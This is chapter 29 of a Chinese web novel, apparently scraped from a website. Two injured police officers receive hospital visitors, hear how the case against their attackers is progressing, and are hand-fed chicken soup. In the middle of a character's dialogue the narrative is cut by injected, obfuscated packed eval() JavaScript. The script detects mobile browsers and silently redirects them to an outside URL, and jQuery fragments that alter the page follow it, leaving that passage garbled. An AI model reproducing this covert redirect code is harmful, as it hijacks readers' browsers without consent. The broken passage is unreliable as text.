29. 一勺一勺,攻城略地

作品:《凛冬之后

    走廊里突然吵吵嚷嚷,动静不小。


    江宥一和卢珮宁满载而归,左手抱着花束,右手提着水果、营养品,有点儿看望病人的模样。


    两人走进病房,江宥一径直走向邢弋,把花立在他床头柜,又把各种吃的放进柜子里,从始至终一言不发。


    “你不用买这么多东西的。”


    邢弋看着她为自己忙前忙后,心里有种说不出的矛盾心情。


    他贪恋这一刻的幸福,却又不希望她和自己牵扯太多。


    儿时,旁人同情的眼光,社会上的隐性歧视,学校同龄人有意无意的孤立,那一幕幕如噩梦般浮现在邢弋面前,挥之不去。


    那是他不想回到的从前,是他不愿意提起的往事。


    他固执地认为,他的出现,会让江宥一重新想起那段不堪的过去,会让她记起自己是孤儿的残酷事实,会让旁人察觉她的不幸。


    他喜欢她,但他的喜欢夹杂着恐惧和不安。


    就这样多好,没人知晓她的过去,她还是她,那个幸福快乐耀眼的江宥一。


    江宥一转身,回眸一瞬美得邢弋晃神。


    “要吃苹果吗?还是香蕉?”


    她左手握着苹果,右手拿着香蕉,在他面前晃晃,俏皮一笑,全然不知他此时内心的煎熬。


    “工作不忙吗?”


    邢弋顾左右而言他,有意气她。


    江宥一愣住,怎么会听不懂他的言外之意。


    她把水果放他床边柜子拐角,皱着眉头,轻咬着下唇,呼吸都带着怒意。


    明显是生气了。


    她生气的时候,眼睛瞪得溜圆,一下也不眨地盯着邢弋。


    后者被她看得浑身不自在,奈何现在行动不便,想躲也没法,只能低下头,避开那道滚烫视线。


    这是两人重逢之后,江宥一第一次和他生气。


    他不得不承认,好看的人,就连生气的时候,都让人觉得可爱,甚至内疚自己不该那样对她。


    可两人倔强得谁都不肯先低头。


    这边还在僵持不下,另一边,卢珮宁在陈燃妈妈和妹妹的注视下,把花递给陈燃。


    “一一买了,我也就随便包了一束,算是慰问人民警察。”


    她第一次这么难为情,本来就是头一回给男孩子送花,偏偏对方家人全部在场。


    随便扯得理由,也荒唐得令人发笑。


    这世上那么多警察,她能慰问得过来嘛?


    这种让人尴尬到脚趾扣底的修罗场,卢珮宁一辈子不想经历第二回。


    陈母和陈灼曦不约而同对视,看到卢珮宁这样可爱,意识到是自己的存在让人家姑娘害羞了,识相地打着掩护退场。


    “妈,我数学作业好像丢家里了?”


    陈灼曦反应就是快,给陈母递去一个眼神,算是明目张胆地暗示。


    “你这孩子,丢三落四的,走吧,我和你回家去取。”


    不愧是亲母女,打起配合来,默契十足。


    两人有商有量地离开病房,把陈燃丢给卢珮宁照顾。


    “小卢,阿姨有事儿出去一趟,你先坐。”


    “好的,阿姨。”


    卢珮宁毕恭毕敬起身,心里暗暗松了口气。


    她没看出陈母的刻意,还以为这是老天留给自己的,和陈燃独处的机会。


    “不能陪你去见父母了。”陈燃扬起下巴,视线落在自己被支架固定的小腿。


    卢珮宁一时没反应过来,半天才想起自己曾“要挟”陈燃假扮男友。


    “你都这样了,我也不是那么不通情达理的人,这事儿先放放,你安心养伤。”


    她不顾陈燃阻止,硬是削了苹果递他嘴边。


    陈燃也没多想,只当她是有求于自己,今天才这般无故献殷勤。


    没有预兆,赵旭东、安巍和罗骁破门而入。


    都是些糙汉子,没养成敲门习惯,手里提着五六袋水果,哗啦啦响成一片,动静不小。


    屋里几个人被吓得一愣,目光齐刷刷落到三人身上。


    看清来人后,陈燃和邢弋微微直起身。


    “师父,赵队,骁哥。”


    “你俩快别动了,都给我老实躺着。”


    赵旭东扫视着两人,视线经过他们受伤的胳膊和小腿,定格在那疲惫但依旧清亮的眼睛上。


    江宥一之前见过他,知道这是邢弋队长,几天不见,他比上回苍老了不少,她猜到,最近的案子一定比她想象的要复杂棘手。


    罗骁跟在赵旭东身后,手里拎着果篮和一个红色保温桶。


    他也没比赵旭东好到哪里去,眼圈青黑,胡茬也冒了头。


    只是,站在最前面这个头发花白稀疏,肚子微凸的小老头,江宥一没印象。


    看完伤员,三人终于把视线落在他们身侧的两位女生身上。


    不等邢弋介绍,罗骁先认出江宥一来。


    “怪不得你们不让我介绍对象,原来这是都有女朋友了,还瞒着我们。江小姐,我们之前见过,还记得吧。”


    “记得,您是邢弋师兄嘛!”


    “骁哥,你别瞎说,我们都是朋友,这是江宥一,你上回见过,这是卢珮宁。”邢弋自顾自解释。


    罗骁敷衍笑笑,根本不信,只当现在的年轻人害羞腼腆,不好意思承认。


    陈燃和邢弋实在没招,也就没再否认。


    “这位是我师父安巍,从警二十多年了。师父,这两位是我们朋友,江宥一和卢珮宁。”


    “师父好!”


    一听安巍是二十多年老刑警,江宥一和卢珮宁心中一下子起了敬意,小心翼翼弯腰冲着安巍鞠了一躬。


    这见了警察一本正经,谨小慎微的模样,逗得安巍直乐。


    “你们好啊,小姑娘们还挺幽默,你们叫我老安就行。”


    “赵队、师父,有两个人,我们跟丢了。”


    一阵寒暄过后,邢弋主动聊起案子。


    “别担心,我们已经设卡了,人很快就能抓到,你们俩现在的任务是好好养伤。”


    罗骁接过话头,他把手里的保温桶盖子旋开,浓郁的鸡肉香气飘出。


    “我妈听说队里有小兄弟光荣负伤,特地炖了鸡汤,放了黄芪和枸杞,你们必须喝完。”


    “骁哥,先跟我们说说案子吧,我和邢弋担心一晚上了。”


    “嘿,看这俩人,上班有瘾啊?”罗骁拉了把椅子坐下,决定还是先满足这俩小伙的心愿。


    毕竟他也是从这个年纪过来的,案子没破,纵是山珍海味摆在面前,也定是没有胃口的。


    “饭店逃跑后我去追上的那人叫何超,已经都招了,他是主谋。七八岁那会儿,他父亲外出打工,小腿被横杆砸中,落下终身残疾,母亲抛下他,跟着当地一个房地产老板跑了。何超就是从那个时候留下阴影了,仇富,最近又正好缺钱,就起了歹心,专挑有钱人下手。”


    江宥一给他倒了杯水递来,“谢谢”,他喝了一口继续。


    “撞伤你们的肇事司机叫贾川,是何超邻居,孩子有先天性心脏病,需要做手术,何超答应给他多分钱,这才敢开车撞警察。至于逃跑的那两个,一个叫吴晓峰,一个叫赵亮,是何超的表哥和发小,何超全供出来了,他们是安平镇新源村人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082180|193215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,估计往老家逃了,博阳他们去追了。”


    罗骁说完,起身拍了拍邢弋和陈燃肩膀。


    “安心养伤,那俩孙子,跑不了,你们这账,得算。”


    一大队出了名的护短,这会两个小兄弟受伤,队里其他弟兄心里都憋着火,不可能让他们逃了。


    邢弋和陈燃的努力,安巍和赵旭东也看在眼里,虽然欢喜,但也心疼。


    “队里的事,有我们,你们俩现在的任务,是把这个消灭,罗骁妈妈辛苦做的,别浪费了老人家的一片好心。”


    赵旭东指指保温桶,江宥一拿起来,给两人一人盛了一碗。


    陈燃伸手要接,结果因为动作太大扯到了胳膊上的伤口,倒吸口凉气。


    “我来。”


    卢珮宁起身接过碗,没有递给陈燃的意思,一下一下吹凉,喂到他嘴边,丝毫不在意别人递来的惊诧目光。


    她虽不在意,可陈燃受不了。


    除了他妈妈,他还从没享受过女生亲自喂饭的待遇,更何况,对方还不是自己女友。


    他又要伸手,被卢珮宁一巴掌拍下。


    “别动,逞什么能啊!”


    陈燃被白了一眼后,没敢再作声。


    罗骁看在眼里,好像看到了年轻时候的自己,这一大队专出“妻管严”的传统还是被继承下来了。


    江宥一也是一样,虽说刚才仍在气头上,但她没必要和一个伤员计较。


    邢弋碍于伤比较重,靠自己无法完全坐直,江宥一看他这样,心疼得紧,忙把碗放在一边,靠近他,手臂轻轻环过他腰背。


    两人挨得极近,没有任何安全距离可言。


    她手掌触碰到他紧绷的肌肉,忽地顿住,邢弋温热的气息抵达耳畔,江宥一能清晰感觉到自己忽然加速的心跳声。


    可她没注意到,刚才弯腰时,她的发梢正扫过邢弋鼻尖,奇怪的触感令他发痒,好闻的栀子花味扑面而来。


    他有些不自在地侧头,她的头发又调皮地从他鼻尖滑落,轻轻扫过他侧脸和颈窝。


    这下邢弋的耳朵彻底红透了。


    江宥一没发现自己的头发正肆无忌惮地撩拨着动弹不了的邢弋,而他只能握紧拳头,吞咽口水。


    这一幕简直残忍。


    陈燃虽说自顾不暇,但看到邢弋这样,还是忍不住偷笑。


    江宥一舀起一勺汤,吹散热气,小心递到邢弋嘴边。


    “小心烫。”


    她盯着他,悄悄将勺子送近了些,好让他省些力气。


    师父、师兄和队长的目光过于灼热,邢弋越发不自在。


    他忽然抬手,用指尖轻握住江宥一手腕,后者完全没预料到他的动作,整个人僵住,汤勺“咣当”一声落进碗里。


    “我自己来吧!”他终于哑声说。


    她却不肯,躲过他的手。


    画面过于美好,前来探望的三人也不再出声,静静观赏。


    俊男美女的恋爱,着实赏心悦目。


    一勺,两勺,病房里只剩下汤勺偶尔触碰碗壁的“叮叮”轻响。


    邢弋一言不发地任由江宥一把鸡汤送进嘴里,他低头含住汤勺,目光却胶着在她脸上。


    她盯着他吞咽时滚动的喉结,双颊微红,看似波澜不惊,心里早已掀起惊涛骇浪。


    而他,就这么看着她害羞的反应,看她从怔愣到脸红,再到慌乱地垂下眼睫。


    江宥一已经感觉不到时间的流逝,只觉得她和邢弋之间,似是多了某种未曾言明的感情。


    不知不觉,汤碗见底,她竟生出不舍情绪。


    早知道喂得再慢些了。